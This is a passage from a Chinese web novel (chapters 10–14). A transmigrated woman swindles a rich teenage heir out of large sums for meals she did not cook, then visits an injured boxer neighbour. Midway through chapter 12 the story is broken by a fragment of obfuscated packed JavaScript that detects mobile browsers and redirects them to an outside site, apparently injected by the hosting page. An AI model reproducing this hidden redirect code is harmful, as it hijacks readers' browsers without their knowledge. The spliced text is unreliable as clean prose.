方镜麒腮侧微鼓,大概正狠狠咬着牙,他垂眸盯着这个可恶的女人,一步一步逼近她。 “为什么给我一个空号?”方镜麒冰冷的声音响起。 他身高腿长,身上那层薄而流畅的肌肉让他介于男人和少年之间,浑身都是蓬勃的生命力。 “耍我?”最后这两个字是用极轻的气音说出来的,却有种风雨欲来的压迫感。 他每逼近一步,姜以柔就不得不往后退一步,直到她后背抵在墙上,退无可退。 姜以柔抬头打量这个嚣张任性的少年。 他同样低头看着她,逆光而立,阳光在他身后晕染,让那头张扬的银发更加耀眼。 那双狭长精致的凤眸隐在阴影中,更显得幽暗深邃,戾气横生。 才十七八岁的少年而已,气势竟也如此摄人。 姜以柔几乎能感觉到少年人炙热的体温,高大的身形几乎将她整个人笼罩,让人有些喘不过气。 姜以柔在心里默默地叹了口气,面上却丝毫不显,反而非常震惊地反问道:“啊?我给你的是空号吗?” 方镜麒:“……” 方镜麒凤眸微眯,露出一个带着审视意味的危险眼神,似乎在衡量她话语的真实性。 片刻后,他露出一个冷笑,语气有些危险:“你不是在故意耍我?” 姜以柔惊讶地看着他,有些委屈又有些伤心地咬了咬唇瓣:“当然不是!可能是我手快写错了吧。” 不得不说,姜以柔在面对男人时的演技,比她演“好妈妈”时流畅自然多了。 总之,面对方镜麒的质问,姜以柔就一套准则: 他不问,我不说;他一提,我惊讶;他再问,我装傻。 可惜的是,方大少不是一般的男人,没那么容易糊弄。 方镜麒居高临下地睨着姜以柔,将一张纸条递到她面前,冷声道:“既然你不是故意的……” “那你就好好看看,到底哪个数字写错了,然后……”方镜麒凤眸微眯,语气里满是强势,“现在改过来!” 他不动如山地挡在姜以柔面前,大有不把事情弄清楚绝不放她走的意思。 姜以柔笑容不变,镇定自若地接过那张纸条,认真看清后,玩味地挑了挑眉稍。 这张纸条正是昨天她写给方镜麒的那张,上面有她的联系方式。 不过,这张纸条简直被蹂躏得不成样子,不仅皱皱巴巴的,沾了些灰尘,还被撕成了两半,现在是用胶带重新粘了起来。 葱白般的指尖轻轻划过纸条背后的胶带痕迹,姜以柔意味深长地看了方镜麒一眼,差点忍不住笑出声。 看来这心高气傲的大少爷着实被她气得不轻啊。 方镜麒原本正双臂环胸紧盯着她,严肃得跟看守犯人似的,生怕她再搞什么小动作。 此时,方镜麒敏锐地捕捉到了姜以柔眼中的笑意,顿时俊脸一沉,不爽地质问道:“你笑什么?” 姜以柔立刻收敛了神色,一本正经地回道:“我没笑。” 不等方镜麒争辩,姜以柔直接低头不去看他,“好了好了,别耽误我检查号码。” 方镜麒被她的话堵得一噎,只能偃旗息鼓。 他恨恨地磨着牙,凤眸里几乎要喷出火来,直勾勾地瞪着姜以柔。 这个女人……太可恶了! 他真恨不得狠狠咬她一口,以发泄被她玩弄怒气! 方镜麒一张脸阴沉沉的,恨恨地盯住姜以柔的脸颊,似乎在思考从哪里下嘴比较好。 但不知从什么时候开始,方镜麒那黏在姜以柔身上的目光,不知不觉就变了。 他的眸光落在她脸上,细细描绘过每一处,凝脂般的皮肤和乌黑的发碰撞出惊人的艳色,那双轻易撩动人心的眸子正低垂着,浓密的睫羽时不时轻颤,仿佛直接搔在了方镜麒的心坎上。 方镜麒怔怔地低头看她,面上的沉冷之色不知不觉间褪去,狭长的凤眸中是逐渐恍惚的沉溺…… 过了一会儿,姜以柔突然抬头,两人就这般对上了视线。 姜以柔倒是神色如常,方镜麒却怔愣了一瞬,然后像被烫到一般猛地别开了眼。 方镜麒的胸膛起伏几次,似乎在调整呼吸,然后他才重新绷起脸望向姜以柔,语气依旧冷硬:“改好了没有?” 姜以柔似乎没发觉他的异样,一本正经地回答道:“没改。” 不等方镜麒再次炸毛,姜以柔便轻叹着解释道:“因为我根本没写错号码呀。” 方镜麒气极反笑,“你还狡辩……” 姜以柔嗔怪地瞥他一眼,直接打断了他的话:“你急什么,听我解释不行吗?” 美人嗔怒,眼波撩人,如同林中的狐妖般勾魂摄魄。 方镜麒的表情有一瞬间的空白,险些被这一眼撩得魂都没了,想说的话也忘了个干净。 眼里心里都只剩一抹绝色。 姜以柔装模作样地叹了口气,眉眼间浮现一丝清愁:“这真的是我的号码,我没有骗你,只是……” “我生活拮据,太久没充话费,导致号码被回收成了空号。” “我真的不是故意骗你的,只是我忘了这件事而已。”姜以柔垂眸黯然道。 方镜麒终于回神,忍不住眉心紧皱,凤眼里全是狐疑,“真的?” “唉,当然是真的,你是不会懂我们家的生活有多么艰难的……”姜以柔45°望天,满脸哀伤。 她展示了一番自己手里的食盒,忧郁地说道:“我今天特意给小渔送饭,但那孩子太懂事了,非要把饭留给我和我父母,她自己却啃馒头……” 方镜麒愣愣地看着她,难得陷入了沉默。 方镜麒是含着金汤匙出生的,虽然小时候父母早亡,但他的二叔自己没有家庭,把他当亲儿子养大。 作为方家唯一的继承人,方镜麒要风得风要雨得雨,一直嚣张肆意,不知人间疾苦为何。 他是个任性自我的人,如果换个人在他面前哭穷,他只会觉得聒噪,但是看着姜以柔秋水盈泪的模样,方镜麒只觉得心里很不舒服。 恨不能拥她入怀,为她拭净眼角的泪珠。 方镜麒皱了皱眉,想也不想地说道:“你需要多少钱?我给你!” 姜以柔却一脸坚定地摇了摇头:“不,阿姨怎么能要你的钱呢,这件事不要再提了。” 方镜麒:“……” 阿姨。 又是阿姨! 方镜麒被她这一声“阿姨”堵得一阵语塞,脸色阵青阵白十分难看。 他黑着脸说道:“你连话费都冲不起了,还逞什么能?” “还有……”方镜麒再次逼近一步,几乎紧贴着姜以柔,年轻健壮的身体散发着炽热的温度。 他咬着牙,一字一句地说道:“不准 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方镜麒眸光微闪,薄唇抿了抿,用十分勉强的语气说道:“要不……给我吃吧。” 说完他还绷着脸找补了一句,“免得浪费。” 姜以柔眨了眨眼睛,微笑着说道:“不会浪费的,我带回去给父母吃。” 方镜麒:“……” 方镜麒磨了磨牙,干脆直接夺过她手里的饭盒,眯着眼睛一字一句道:“我说,我、要、吃!” 姜以柔故作慌乱地看着他:“那我父母吃什么?我们家都没钱买菜了……” 方镜麒冷哼一声,直接掏出手机,说道:“本少爷又不是不给钱。” 他倨傲地扬了扬下巴,不容置喙地说道:“反正你也准备卖盒饭,直接卖给我好了。” “这……”姜以柔犹豫道,“这不太好吧?” 方镜麒懒得跟她争辩,直截了当道:“卡号报给我。” 姜以柔幽幽地望着他,轻叹道:“我没有银行卡,也没有手机……” 方镜麒用古怪的目光打量着她,似乎没想到,都这个年代了,还有人连手机都没有。 “你在这儿等我。”说完他便长腿一迈,转身朝某个方向跑了。 刚跑了几步,方镜麒又猛然顿住,他回头盯着姜以柔,恶狠狠地警告道:“你要是敢趁我不在的时候跑了……” 姜以柔笑眯眯地应道:“我等你。” 一句柔柔的“我等你”,瞬间把方镜麒的火气浇灭了。 他强装镇定地“哼”了一声,随即像阵风一般跑远了。 很快,方镜麒就气喘吁吁地跑回来了。 他额上满是汗水,一头张扬的白发也被浸湿,被他随意地撩到脑后,露出俊美到凌厉的眉眼。 方镜麒鲜少有如此狼狈的时候,他没有在意自己的形象,只将手里的东西一股脑儿地塞给姜以柔。 姜以柔低头一看,顿时挑了挑眉稍。 钱,好多钱! 方镜麒刚才专门去找朋友换了现金,好多百元大钞全都塞给了姜以柔,保守估计也得有四五万块。 估计是怕姜以柔等太久,所以没能换太多。 方镜麒目光灼灼地盯着她,说:“买饭钱。” 姜以柔迟疑:“但是……这些钱也太多了。” 方镜麒眸光微闪,低声道:“给你你就拿着,只是……我有个条件。” 方镜麒垂在身侧的手不自觉捏成拳,睫羽轻颤,敛去了凤眸中的神色。 然后他抬眸紧盯着姜以柔,他一字一句认真道:“以后你做的饭,只准卖给我一个人。” 姜以柔为难:“这不太好吧……” 方镜麒:“一次五万。” 姜以柔:“……成交!” 系统666:“???” 不是,这剧情对吗??? 11. 第 11 章 当方镜麒说出一顿饭五万块的时候,姜以柔差点没绷住嘴角的笑意。 她连忙微微垂眸,矜持地应下了与方镜麒的“交易”。 方镜麒轻哼一声,凤眼斜睨着她说道:“还不算太笨。” 姜以柔似乎想起了什么,从那一沓钱中抽出一张,递给方镜麒,说:“麻烦帮我把钱还给你们张校长。” 方镜麒:“……” 方镜麒本想说姓张的不缺这点钱,但看到姜以柔认真的神色,只能无语地接过钱。 姜以柔彻底松了口气,她抬手将一缕碎发挽到耳后,温声道:“既然这样……方同学,我就先回家了,明天再来给你送饭。” 听到她要走,方镜麒条件反射地皱了皱眉,刚浮上些笑意的俊脸也再次绷紧。 他张嘴刚要说什么,姜以柔便忧愁地叹道:“我父母年纪大了,我得赶紧回去帮他们……” 这下,方镜麒挽留的话也说不出口了。 方镜麒沉思片刻,突然问道:“你打算怎么回去?” 姜以柔愣了愣,如实答道:“坐公交。” 方镜麒挑了挑眉,精致的眉眼间漾出意气风发的肆意。他晃了晃手里的机车钥匙,“我送你。” 不是询问,而是通知。 姜以柔在心里暗骂这小子实在任性又难搞,她刚要想借口拒绝,又突然迟疑了。 想到那晃晃悠悠的公交车,大夏天里人挤人的汗味…… 姜以柔果断点头答应了,微笑着道:“那就麻烦方同学了。” 方镜麒刚要往自己的机车那里走,却突然皱眉看了看手里的饭盒。 他沉思片刻后,对姜以柔叮嘱道:“等我一会儿。” 说完他便迈开长腿,风一般跑远了。 姜以柔的目光默默地追随着方镜麒的身影,直到确认他看不到自己的表情,嘴角忍不住翘起一个狡黠的弧度。 她掂了掂手里的人民币,得意地跟666炫耀道:“小六啊,我厉害吧?这么快就赚到钱帮女配家改善生活了呢!” 系统666:“……” 系统666幽幽地说道:“你明明可以直接抢钱,却还是送了男主一顿饭。” 姜以柔嗔怪地道:“什么话,我怎么可能抢钱呢?” “你这还不叫抢钱?谁家好人一顿饭能卖到五万块啊?” “你情我愿的事情,怎么能叫抢呢?”姜以柔不以为意地说道。 系统666咕哝道:“可五万块也太夸张了吧……” 她轻哼一声,有些不屑地说道:“你信不信,我亲手做的饭,多少钱都有人愿意买!” “五万卖给男主,还是便宜他了呢。” 系统666:“……宿主,你是不是忘了——这顿饭是大反派做的!” “那又怎么了?”姜以柔理直气壮地反问,丝毫没有欺骗了方镜麒的心虚,“我说是我做的,就是我做的。” 系统666艰难地说道:“所以……你用大反派辛辛苦苦做的饭,从男主那里赚了五万块钱?” “你这不是空手套白狼吗?!纯中间商赚差价!” 姜以柔眨了眨眼睛,非常无辜地说道:“可是……我又没有逼他们。” 系统666无言以对,只能流着宽面条泪怀疑人生:“所以,为什么男主和大反派一遇到你就跟失了智一样?” “这到底是为什么?!” 姜以柔笑了笑,没心没肺地道:“可能因为……他们心善?” 默默围观666发癫,姜以柔忍不住翘了翘嘴角,美丽的眼眸中掠过一抹狡黠的笑意。 慢慢纠结吧,没有审美的小系统。 姜以柔没有等太久,方镜麒很快便跑回来了,他手里的饭盒不知道哪里去了。 方镜麒随意解释道:“我让人把饭盒送回学校了,不然骑车不方便。” 方镜麒长腿一跨,稳稳坐上那辆银白色的重型机车,车身线条流畅而凌厉,在阳光下泛着冷冽的金属光泽,一如车的主人那样嚣张恣意。 他扬了扬下巴,冲姜以柔示意道:“上车。” 眉眼张扬,放纵肆意,那股勃发的少年气让姜以柔都不由得多看了几眼。 姜以柔笑着走近,刚想上车,手腕却被一只大手猛地扣住。少年掌心那灼热的温度烫得她指尖微颤,还没来得及反应,便被他一把拽到了面前。 两人贴得很近,姜以柔几乎能感受到少年人那炙热的体温。她不由得皱了皱眉头,“做什么……” 方镜麒一把箍住她的肩膀,沉着脸命令道:“别动。” 语气和动作都是一贯的强势任性。 然后他拿起旁边的头盔,动作略显生涩地往她头上套,又笨拙地帮她调整系带。 方镜麒微微俯身,修长有力的手指时不时拂开姜以柔的黑发,似乎怕弄疼她。 他眉心微微蹙起,凤眸里满是认真,似乎将戴头盔这件事当成了一件重要的使命,容不得马虎。 系带收紧的瞬间,他的指节蹭过她的下颌,触感微凉,让他呼吸微滞。 “好了。”方镜麒有些不自在。 他转身握住车把,迫不及待地催促道:“上来。” 姜以柔扶了扶对她来说过大的头盔,轻笑道:“方同学,你还挺贴心的嘛。” 方镜麒轻嗤一声,没接话,似乎对她的评价很不感冒,但他握住车把的手却紧了紧,骨节分明的手指扣出清晰的痕迹。 在机车后座坐定,姜以柔矜持地抓住方镜麒的衣角,轻声道:“我好了。” 方镜麒微微垂眸,不动声色地瞥了眼姜以柔的手,凤眸中藏着些恶劣的笑意。 “抱紧,摔下去我可不负责。” 话落,一声轰鸣 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无论是身上柔软的触感,还是鼻尖隐约萦绕的幽香,都让他……坐立难安。 下一秒,方镜麒脸色一变。 一只柔弱无骨的手掐住他的腰侧,狠狠一拧—— 方镜麒痛得一颤,脸色却更红了。 “松、手。”他咬牙,嗓音低哑。 姜以柔一边拧他一边威胁:“你给好好开车!” 方镜麒终于认输般降了速,姜以柔总算松了口气,也就自然而然地跟他拉开了距离。 方镜麒绷着脸,谁都不知道,其实他也后悔刚才的举动了。 本来想戏弄一下她,结果最后……折磨的却是自己。 什么叫无福消受美人恩啊…… 后半程很顺利,他们很快就到了姜家楼下。 方镜麒在楼底停了车,一双长腿很轻松地支在地上,撑起了沉重的机车。 姜以柔腿脚发软,迫不及待地下了车。 她第一次没绷住温柔娇媚的美人面,没好气地狠狠白了方镜麒一眼。 方镜麒皱眉打量着周围的环境,越看脸色越黑,“你就住这种地方?” 姜以柔一边解开头盔,一边随口“嗯”了一声。 恰在此时,一个高大的身影从单元门内走出,眉眼冷峻,气场摄人。 姜以柔看到他后微微一愣,随即惊讶地挑了挑眉。 这不是大反派吗? 顺着她的视线,方镜麒皱眉看过去,目光落到谢凛的身上时骤然一凝,俊美的脸也沉了下来。 当谢凛走近时,姜以柔笑着冲他挥了挥手:“谢先生。” 姜以柔的主动让方镜麒瞳孔微缩,一双凤眸危险地眯了起来,盯向谢凛的眸光也越发不善。 12. 第 12 章 方镜麒活了十几年,第一次体会到一种名为嫉妒的感觉。 他不自觉握紧了车把,用力到手背青筋凸起,他神情阴沉,凤眸中有风暴在酝酿。 凭什么,他每次都要紧紧缠着她,她才会勉强给一点回应。 可是她居然主动跟那个男人打招呼…… 凭什么。 方镜麒身体微绷,心中戾气翻涌,一张俊美的脸越发阴沉。 但事情的走向却出乎了他意料,甚至也出乎了姜以柔的意料。 在姜以柔笑着跟谢凛打了声招呼后,预想中的两人寒暄的画面并未出现。 甚至……谢凛连个眼风都没有瞥过来,径直与她擦肩而过——完全视姜以柔如无物。 谢凛面无表情地走过,眼神冷峻。 姜以柔讶然睁大了眼睛,很是意外地打量着谢凛的背影。她倒是不觉得有什么尴尬,只是面色有些古怪。 方镜麒同样愣了一瞬,第一反应是松了口气—— 幸亏他们俩没有当着自己的面说说笑笑,否则他真不知道会做出什么事来。 但紧接着,方镜麒盯着谢凛背影的眼神变得极其不善。 “啧,他算什么东西啊……”竟然敢无视她? 方镜麒是个一点就炸的暴脾气,见不得姜以柔受委屈,当即就想冲过去。 姜以柔赶紧拉住他:“哎哎……你别乱来。” 柔软的手握住他的手臂,仿佛有魔力似的,让方镜麒心中怒火顿消。 “切,算他走运。”方镜麒不爽地哼了一声。 他不动声色地低头撇了眼两人交叠的手,嘴角隐晦地翘了翘。 姜以柔非常无语。 中二男主知不知道反派是专业拳手啊?真冲上去找麻烦的话,也不知道是谁揍谁…… 紧接着方镜麒又想起了什么,他垂眸看向姜以柔,不容置喙地说道:“这里不太安全,我给你换个房子吧。” 奇怪的是,他话音刚落,刚才视姜以柔如无物、且已经与他们擦身而过的谢凛,竟骤然停下了脚步。 谢凛顿在原地,英俊的脸上依旧没有太大的情绪波动,只是他垂在身侧的伤痕累累的双手,紧紧握成了拳,还有一丝隐忍的颤抖。 另外两人丝毫未察觉到他的异样,自顾自聊着天。 姜以柔有些古怪地打量着方镜麒,不由失笑道:“你开什么玩笑?” 她以后肯定会换房子,但并不是现在,更不是让男主给她换。 听她拒绝,方镜麒眉眼一沉,不悦道:“这里鱼龙混杂,又没有安保,你住在这儿不安全。” 他紧紧盯着姜以柔娇艳精致的脸,欲言又止,没有将自己的顾虑说得太直接。 方镜麒不动声色地瞥了眼刚才经过的男人。 而谢凛已经继续迈步向前走了,他步履平缓,仿佛刚才那一瞬间的失控是错觉。 姜以柔知道他在担心什么,只笑着安慰道:“放心吧,我不会有事的。” 她可是有个叫666的系统保驾护航呢。 “好了,我到家了,你也该回去了。”姜以柔不想跟他纠缠太久,将头盔还给他,便笑着催促他回去。 方镜麒还想再说些什么,但姜以柔一句话给他堵了回去。 “快回去吃饭吧,不然我亲手做的饭菜要凉了。” 姜以柔重点强调了“亲手做的”几个字。 方镜麒皱眉思索片刻,终于还是不情不愿地妥协了,“好吧。” 反正她明天还会来给他送饭,以后也会一直来,他们……来日方长。 一想到明天还能再见到她,方镜麒心里就没那么难受了。 他定定地看着姜以柔好一会儿,抿唇道:“那……我先走了。” 姜以柔笑着冲他挥挥手,“路上小心。” 方镜麒不由得勾了勾唇角,他潇洒地挥了挥手,机车轰鸣,裹挟着夏日的风离开了。 风风火火的,很像他热烈嚣狂的性格。 姜以柔目送他离开,看着少年宽阔的肩背,轻轻地笑了笑。 随即姜以柔打量了下四周,似乎在寻找什么。她问666:“谢凛呢?刚才还看见他了。” 系统666答道:“他早走了,他今天有比赛,很重要哦!” 姜以柔嗔怪道:“见到我了也不打声招呼……” 系统666大大咧咧地说道:“他应该没注意到你吧。” 闻言,姜以柔意味深长地挑了挑眉,轻哼道:“是吗?” 姜以柔没再说什么,施施然回家了。 姜父姜母在工作,姜渔在上学,家里只有姜以柔一个人。 很快她便呆不住了,拿上刚从方镜麒那儿坑……呃,赚来的五万块,兴冲冲地逛街去了。 姜以柔有钱之后的第一件事,就是买手机。 她穿来这个世界时,只有自己人过来了,其他的什么都没带。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155861|180547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 而姜家可谓是家徒四壁,连个电视都没有,昨天可把她无聊死了。 买完手机后,姜以柔拿着剩下的钱给自己从头到脚换了身行头。 新衣服、新鞋子,还给她那头柔顺浓密的黑发做了下保养。 她还吃了顿很昂贵的饭,因为姜家的饭菜和大反派做的饭都很一般,她几乎没怎么吃……可谓花钱如流水。 到最后,姜以柔有些可惜地叹道:“唉,钱不够花啊……” 她还没能做美容,没有买包包……钱就这么快用完了。 系统666无语地质问道:“宿主,你不是说挣钱是为了给女配改善生活吗?!怎么全都自己享受了?” 姜以柔安慰他:“放心吧,我留了点钱买菜。” “而且我这才第二天穿过来,你急什么?”姜以柔掰着手指跟他算账,“等我多卖几次盒饭给男主,很快就又有钱了。” 看着宿主这没心没肺的模样,666无奈地叹了口气。 看姜以柔现在的表现,她明显没有真正把姜父姜母当做自己的父母,更没有把女配姜渔当成自己的女儿。 这样下去,救赎女配的任务不知道何时才能完成…… 不过也可以理解,让一个刚穿来这个世界没两天的人,接受一家陌生的亲人,也着实有点为难人了。 只能慢慢来了…… 姜以柔的兜里已经没什么钱了,但她依旧不想回家。 用她的话来解释,就是姜家的房子招鬼魂,长期呆在里面难免黑化…… 她饶有兴致地在最繁华的商业圈闲逛,但她走过哪里,哪里便会一阵骚动。 每一个看到姜以柔的人,基本都会被惊艳到大脑空白、表情茫然,甚至有人忘了该怎么走路,摔倒和撞电线杆的人也不在少数。 姜以柔丝毫不在意自己成了别人眼中的风景,该干嘛干嘛。 即便有这么多人被姜以柔惊艳到移不开目光,但却没什么人上前打扰她。 有的时候,人美到一定程度,会让普通人很有距离感。 像是高悬天上的明月,只敢仰望,不敢奢求。 当然,也有例外。 姜以柔正闲逛时,突然有个男人冲到她面前,满脸狂热地说道: “这位小姐,有没有兴趣当大明星啊?” “凭你的条件,我会把你捧成全国……不,全世界最红的明星!!!” 姜以柔:“……” 13. 第 13 章 面对疑似星探的男人的热情,姜以柔谨慎地后退一步,礼貌拒绝道: “抱歉,我对当明星没有兴趣。”说完她便想要绕过男人离开。 但男人不依不饶地跟上前,非把名片塞进她手中,苦口婆心地劝说道:“小姐,凭你这张脸,不当明星简直是暴殄天物!” “你跟我入行,我保证你赚钱比捡钱还容易……” 姜以柔被烦得不行,干脆说道:“我已经有孩子了,不适合进娱乐圈,你找别人吧。” 男人身体一僵,顿觉晴天霹雳:“……啥?!” 眼看着姜以柔马上要离开,男人咬了咬牙,再次追上去,仿佛下定了决心说道:“有孩子了也没事,咱们照样当明星!大不了我帮你带孩子!” 姜以柔似笑非笑道:“那倒是不需要,我家孩子都上高二了,不用费心带。但我真的没有当明星的想法,请不要打扰我了。” 这话一出口,男人彻底傻了。 她……她不光有孩子了,娃还上高二了?! 趁着他愣神,姜以柔迅速远离了他。 男人无力地伸出手,却根本没有力气再追,只能眼睁睁看着她离开。 半个小时后,男人上了一辆低调的商务车。 他不停地唉声叹气,脸上融合了失望、痛苦、纠结等复杂表情,皱得跟个苦瓜一样。 “你怎么了?”一道慵懒磁性的嗓音响起。 出声的男人有张俊美而精致的脸,右眼下的一点泪痣更平添几分邪气,如果此时他站在大街上,一定会引发极大的骚动,因为他正是当下最红的男顶流——顾星延。 男人则是他的经纪人,满脸忧伤地说道:“唉,我今天路遇一个大美女,我这辈子从没见过那么好看的人,她如果进圈,绝对红透半边天……” 顾星延饶有兴味地挑了挑眉,“是吗,真有那么好看?” 他最清楚不过自家经纪人挑剔的眼光,而且经纪人在圈内浸淫二十多年,什么样的美女没见过,连他都深感惊艳的美人……顾星延还真挺好奇的。 经纪人严肃道:“绝对好看!” “那你没努努力签下她?” 经纪人瞬间哑火,懊恼地猛拍大腿,道:“唉,当时她跟我说自己孩子都上高中了,我直接人傻了,什么都忘了……” “我真蠢啊!孩子上高中了又怎么样,有那样一张脸进入娱乐圈,堪称天赐!还要什么自行车……” 顾星延:“……” 顾星延睨了他一眼:“你疯了吧?” 顾星延瞬间就对经纪人口中的大美女没兴趣了。 一个孩子都上高中的中年妇女,再好看能好看到哪里去? 倒也值得他捶胸顿足成这样?真丢人。 结果,经纪人反倒眼神复杂地看了他一眼,“你不懂。” 那眼神里似乎带了些怜悯—— 怜悯顾星延没见过那等绝色。 顾星延:“……” 顾星延翻了个白眼,懒得理他。 经纪人又恍惚了许久,才勉强收拾好心情干正事,他开始跟顾星延核对接下来的行程,有件事特别提到了。 “对了,下个月你的高中母校……圣维尔是吧?五十周年校庆,邀请你去参加……” 按理说,以顾星延的咖位,不可能参加什么学校的校庆,哪怕是他的母校也不可能。 但圣维尔国际学校是不一样的,这所学校的校庆可谓是最顶尖的名利场,政商等各界重要人物都会出席,是拓展人脉的极好平台。 顾星延淡淡地“嗯”了一声,“记得帮我把时间空出来。” * 圣维尔国际高中。 食堂包间里,一群男生围坐在一起,盯着桌子中央的食盒出神。 “老徐,这……真的是麒哥让你带回来的?”有人迟疑地问道,满脸的不相信。 被称作“老徐”的男生肯定点头:“千真万确!” “我中午溜出去玩,正好碰见了麒哥,他亲手把这饭盒塞给我,让我帮他带回来!而且他还千叮咛万嘱咐,决不能有一丝一毫的闪失!” 有人摸了摸下巴,沉思道:“这饭盒到底是谁送的?从没见麒哥这么宝贝过啥东西啊?” “方家保姆送来的?” “你看这饭盒旧成啥样了?一股穷酸气,怎么可能是方家的!” …… 众人讨论不休时,包间门被猛地推开,方镜麒带着蒸腾的热意走了进来。 他脸上挂着薄汗,银白色的发都沾湿了,他不甚在意地将额发捋到脑后,露出光洁的额头,更突显出那双狭长精致的凤眼。 他步履平缓,面上没什么明显的表情,不过比起离开时的愤怒急切,此时他唇边翘起一个不易察觉的弧度,似是心情不错。 “麒哥,你回来了,刚才去哪儿了?”几个狐朋狗友连忙起身迎接他。 听到他们的关心,方镜麒瞬间收敛神情,又变回了那个桀骜恣意的方大少。 他轻轻“嗯”了一声,显得十分高冷。 他一屁股坐在主位上,什么都不说,直接打开了饭盒。 其他人经不住好奇,赶紧伸长了脖子往饭盒里看去。 这一看大家都愣住了,面面相觑不知道该说什么。 “麒哥,这是啥啊?”一个男生犹豫地说道,“这饭菜看着挺难吃的……” 方镜麒动作一顿,冰冷的眸光射向他,警告意味甚浓。 男生缩了缩脖子,讪讪地闭了嘴。 方镜麒听不得有人说这饭菜不好,但当他自己观察这顿饭时,同样下意识地皱了皱眉头。 豪门方家一共有16个厨师,各自负责不同的场合与菜系,其中的厨师长更是御厨家族的传人,所以方镜麒的口味从小就被养刁了,眼前这卖相一般的饭菜,实在不能入他的眼睛。 在方镜麒沉默时,有人忍不住问道:“麒哥,这饭是谁做的啊?也太……” “麒哥,你不会要吃吧?” 方镜麒狠狠瞪了他们一眼,“滚远点!” 见方镜麒有发怒的迹象,其他人顿时不敢再多嘴了,讪讪地准备离开。 不过离开之前,还是有人禁不住心里的好奇,追问了一件大家都很关心的事,道:“对了麒哥,那个特优……呃,姜渔,你找她有什么事啊?” 方镜麒低着头,认真地观察面前的饭菜,漫不经心地应道:“现在没事了。” 众人面面相觑,都从彼此眼中看到了不出所料的释然。 他们就说嘛,麒哥怎么可能看上特优生那个乡巴佬呢? “麒哥,那我们先走了!” 马上就上课了,方镜麒敢公然翘 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当姜渔回到家时,她除了吃饭和帮姥姥姥爷做家务,就是回房学习,从来不会主动跟姜以柔说话。 姜以柔也没有热脸贴冷屁股的爱好,除了吃饭就是玩手机。 总而言之,在姜以柔来到这个家后,并没有666想象中的母慈女孝,一家和乐。 至于666所期待的用母爱去感化女配姜渔……似乎也遥遥无期。 深夜,姜家人都睡下了,666正复盘着这两天发生的一切,绞尽脑汁地想下一步的救赎女配计划。 就在这时,原本安静平躺着的姜以柔突然翻身下床,轻手轻脚地走出了卧室。 系统666一开始以为她要上厕所,也没太在意,直到姜以柔悄悄打开家里的大门,他才察觉到不对劲。 “宿主,都这么晚了,你要去哪儿啊?”666问道。 姜以柔没有回答他,出了家门后就轻手轻脚地往楼上走。 到了楼上后,姜以柔轻轻敲了敲这间房门。 系统666震惊地问道:“宿主,你敲大反派的门干嘛???!!!” 姜以柔“啧”了一声,嫌弃道:“大晚上的,你吼那么大声干嘛?” “你也知道现在是大晚上啊?!”666惊恐道,“你现在来找大反派,不怕他伤害你吗?” 虽然原著里是说过大反派只想着搞钱,从不近女色,但想想他那冷酷无情的性格,如果被人扰了清梦…… 姜以柔继续敲门,镇定自若地说道:“放心吧,我见过的男人,比你见过的人类都多,我心里有数。” 姜以柔见房间里迟迟没动静,干脆在门口轻声呼喊道:“谢先生,你在家吗?” 老房子隔音差在此时倒成了好处,姜以柔出声后没多久,门内隐约传来了脚步声。 很快房门便被打开,姜以柔不由得露出一个笑容,她刚想说话,房内的人却猛地朝她扑过来! 姜以柔吓了一跳,却见黑暗中,那个高大的身影仿佛站不稳般,单膝跪了下去。 夜色很黑,楼道里没有灯光。 姜以柔看不清谢凛的脸,却清晰地听到了他粗重的喘息声。 以及那浓烈的血腥味。 14.第 14 章 此时已值深夜,狭窄的楼道内伸手不见五指,更有股老旧楼房特有的潮湿霉味在弥漫。 但在这片漆黑的狭小空间内,更为明显是一股血腥气,浓烈得让人心底生寒。 姜以柔愣愣地站在大反派的家门口,不知道事情怎么会变成这样。 她有些僵硬地低头,能隐约看到有个高大的身影正倒在自己身前,微颤着发出沉重的喘息声。 谢凛似乎受了伤,强撑着来给她开门后,就再也支撑不住,脱力般半跪在地上。 他一只手撑着地,垂头低喘着,汗水沿着下颌流下,一滴一滴砸到地板上。 过了一会儿,谢凛单手扶住门框,缓缓站起身来。 一旦他站起身来,一米九的身高和结实的身形在黑暗中极有压迫感,仿佛一只蓄势待发的野兽,刚才的脆弱似乎只是错觉。 黑暗中看不清他的神色,只听见他嘶哑的声音:“什么事?” 姜以柔有些无措,原本的话竟有些说不出口,支吾道:“没……没什么大事。” 谢凛沉默片刻,竟漠然转身,有些踉跄地回房了。 姜以柔愣愣地看着他的背影,有点不敢相信—— 就这么不管她了? 不过……姜以柔若有所思地瞥了眼身前大敞着的房门。 谢凛转身回屋的时候,竟然没顺手把房门关上。 姜以柔眉梢微挑,唇边勾起一个了然的弧度。然后她便摸索着踏进了屋内。 “宿主,要不咱们先回去吧!”666紧张地说道,“大反派今天不知道发什么疯,在地下拳场一连打了好几场,简直挑战极限。” “现在他受伤很重,情绪也不稳定,我怕他伤害你……” 姜以柔已经踏进了大反派的家,正饶有兴味地打量着周围的一切,她心不在焉地应付666:“没事,我心里有数。” 谢凛的家只开了一盏昏黄的灯,但足以让姜以柔看清他家中的摆设。 格局跟姜家一模一样,但比起姜家那堆得满满当当的屋子,谢凛的家显得格外空旷。 客厅里除了一张沙发和一张桌子之外,几乎没有其他东西。 谢凛正斜靠在沙发上,他上半身赤裸,健硕的腰腹处缠绕着绷带,雪白的绷带上洇出血迹,似乎受伤很严重。 听到姜以柔走近的脚步声,谢凛睫羽微颤,却并没有抬头看她,自顾自给自己处理伤口。 他的左上臂同样有一道很深的伤口,血肉模糊,姜以柔只瞥了一眼就不敢多看。 谢凛却仿佛感觉不到疼痛,先是简单用棉球清理创口,又上了些药,最后竟然单手拿着绷带包扎。 他微微低头,牙齿咬住一侧绷带,一只手很利落地缠绕,系紧,动作熟练得仿佛已经做过无数次。 姜以柔默默地看着,目光在他身上流连。 赤裸的上半身强健有力,肌肉并不夸张,十分流畅有美感,时不时因为疼痛而紧绷,皮肤上些微的汗意更显得诱人。 而那些伤口更为这具强壮的身体平添几分野性。 